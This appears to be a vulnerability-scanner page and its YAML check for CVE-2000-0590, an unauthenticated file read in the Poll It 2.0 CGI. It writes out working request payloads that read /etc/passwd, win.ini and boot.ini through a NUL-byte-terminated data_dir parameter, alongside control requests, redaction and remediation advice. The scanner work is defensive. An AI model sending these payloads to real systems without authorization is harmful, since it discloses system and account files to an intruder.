Poll It — 1 vulnerability check

noctis ships 1 vulnerability check for Poll It, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Poll It 2.0 data_dir Arbitrary File Read

CVECVE-2000-0590
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/poll-it/CVE-2000-0590.yaml

Tests the Poll It 2.0 CGI (Poll_It_SSI_v2.0.cgi) for the unauthenticated arbitrary file read through its data_dir parameter: the script lets any query-string parameter override its internal variables, and data_dir names the folder of the poll data file it opens and prints. The feed requests the script under /cgi-bin/pollit, /pollit, /cgi-bin, /scripts and the web root with data_dir set to /etc/passwd followed by a NUL byte (%00), which cuts off the data file name, and, when no passwd content comes back, /windows/win.ini and then /boot.ini. The content of the file in the reply confirms the read. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/windows/win.ini%00
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/boot.ini%00
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/Poll_It_SSI_v2.0.cgi?data_dir={{ctrl_path}}%00
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Poll It 2.0 data_dir Arbitrary File Read (CVE-2000-0590)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Poll It 2.0 data_dir Arbitrary File Read (CVE-2000-0590)

References:

Feed source — tests/vulnerabilities/poll-it/CVE-2000-0590.yaml
# CGI-World Poll It 2.0 data_dir arbitrary file read — CVE-2000-0590
#
# Poll It (Perl CGI opinion poll, CGI-World) sets its internal variables to
# built-in defaults and then overwrites them with any query-string parameter
# of the same name (SecurityFocus BID 1431). data_dir names the folder of the
# poll data file the script opens and prints; ending it with a NUL byte (%00)
# cuts off the data file name appended to it, so
#     /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00
# opens and prints any file the web server user can read.
#
# Detection (benign, read-only): request the script with data_dir set to
# /etc/passwd%00 and match the CONTENT of /etc/passwd; when the script answers
# but no passwd line comes back, /windows/win.ini, then /boot.ini.
# QoD 75 (response analysis). %00 in the query goes out verbatim through
# http_request.
#
# Improvements over the source check:
#   - The advisory's /cgi-bin/pollit/ folder is probed, besides the web root,
#     /pollit, /cgi-bin and /scripts.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files; a blanket responder or a honeypot keying a fake file on the
#     file name or path suffix is not reported (fail-closed: no control reply
#     → no finding, and the control must get the same HTTP status as the
#     probe, so a WAF blocking the second request is not read as clean).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2000-0590 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/pollit.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10459, GPL-2.0-only).
uid: 31072658-cda7-40bc-9e19-7f4accb9acde
name: "Poll It 2.0 data_dir Arbitrary File Read (CVE-2000-0590)"
description: |
  Tests the Poll It 2.0 CGI (Poll_It_SSI_v2.0.cgi) for the unauthenticated
  arbitrary file read through its data_dir parameter: the script lets any
  query-string parameter override its internal variables, and data_dir names
  the folder of the poll data file it opens and prints. The feed requests the
  script under /cgi-bin/pollit, /pollit, /cgi-bin, /scripts and the web root
  with data_dir set to /etc/passwd followed by a NUL byte (%00), which cuts
  off the data file name, and, when no passwd content comes back,
  /windows/win.ini and then /boot.ini. The content of the file in the reply
  confirms the read. A control request for an absent random file through the
  same parameter must not return any of these files, so a server that serves
  the same content on every request is not reported. Only world-readable
  system files are read. The account name (unless root), password field and
  gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2000-0590]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [poll-it, cgi-world, perl, cgi, file-read, path-traversal, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2000-0590"
  - "https://www.securityfocus.com/bid/1431"
  - "https://www.exploit-db.com/exploits/20059"
  # OpenVAS/Greenbone NASL pre2008/pollit.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per script folder.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/cgi-bin/pollit", "/pollit", "/cgi-bin", "/scripts", ""]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: /windows/win.ini, then /boot.ini (older Windows) — only when
  # the script exists (any reply but 404) and the Linux read gave nothing.
  # Not gated on 200: a script that dies when it cannot open its data file
  # answers the absent /etc/passwd with a 500 on Windows. ─────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "/noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/Poll_It_SSI_v2.0.cgi?data_dir={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Poll It 2.0 data_dir Arbitrary File Read (CVE-2000-0590)"
        description: "An unauthenticated request to Poll_It_SSI_v2.0.cgi with the data_dir parameter set to /etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. Any query-string parameter overrides the script's internal variables, so any file the web server user can read is disclosed."
        remediation: "Remove Poll It 2.0 (Poll_It_SSI_v2.0.cgi) from the web server; the product is no longer maintained. If it must stay, change the script so that query-string parameters can no longer overwrite its internal variables such as data_dir, and run it on a Perl release that rejects NUL bytes in file names."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Poll It 2.0 data_dir Arbitrary File Read (CVE-2000-0590)"
        description: "An unauthenticated request to Poll_It_SSI_v2.0.cgi with the data_dir parameter set to a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. Any query-string parameter overrides the script's internal variables, so any file the web server user can read is disclosed."
        remediation: "Remove Poll It 2.0 (Poll_It_SSI_v2.0.cgi) from the web server; the product is no longer maintained. If it must stay, change the script so that query-string parameters can no longer overwrite its internal variables such as data_dir, and run it on a Perl release that rejects NUL bytes in file names."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/Poll_It_SSI_v2.0.cgi?data_dir=/{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub